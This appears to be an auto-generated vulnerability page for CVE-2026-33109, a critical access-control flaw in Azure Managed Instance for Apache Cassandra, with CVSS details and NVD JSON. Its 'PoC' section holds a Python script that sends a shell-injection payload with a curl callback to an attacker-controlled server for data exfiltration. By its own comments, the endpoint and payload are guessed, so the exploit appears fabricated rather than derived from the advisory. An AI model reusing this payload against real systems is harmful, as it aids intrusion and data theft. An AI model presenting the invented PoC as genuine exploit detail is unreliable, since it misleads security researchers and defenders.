Security Vulnerability Report
中文
CVE-2026-33109 CVSS 9.9 CRITICAL

CVE-2026-33109

Published: 2026-05-07 22:16:34
Last Modified: 2026-05-08 19:48:55

Description

Improper access control in Azure Managed Instance for Apache Cassandra allows an authorized attacker to execute code over a network.

CVSS Details

CVSS Score
9.9
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:azure_managed_instance_for_apache_cassandra:-:*:*:*:*:*:*:* - VULNERABLE
Azure Managed Instance for Apache Cassandra (具体版本未在提供文本中披露)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-33109 Proof of Concept (Conceptual) # This script demonstrates how an authenticated low-privilege user # might trigger RCE due to improper access control. TARGET_URL = "https://<target-cassandra-instance>:9042/api/v1/management" AUTH_TOKEN = "<low_privilege_bearer_token>" # Malicious payload to execute code (e.g., shell command) # Note: The actual endpoint and payload structure depend on the specific API vulnerability. payload = { "operation": "backup", "arguments": { "command": "; id && curl http://attacker-controlled-server/exfil" } } headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } def exploit(): try: print(f"[*] Sending exploit request to {TARGET_URL}...") response = requests.post(TARGET_URL, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check for code execution or callback.") else: print(f"[-] Exploit failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": exploit()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33109", "sourceIdentifier": "[email protected]", "published": "2026-05-07T22:16:34.030", "lastModified": "2026-05-08T19:48:54.647", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Improper access control in Azure Managed Instance for Apache Cassandra allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:azure_managed_instance_for_apache_cassandra:-:*:*:*:*:*:*:*", "matchCriteriaId": "110D400E-5713-4224-B11D-0AB0F76E6D9C"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33109", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}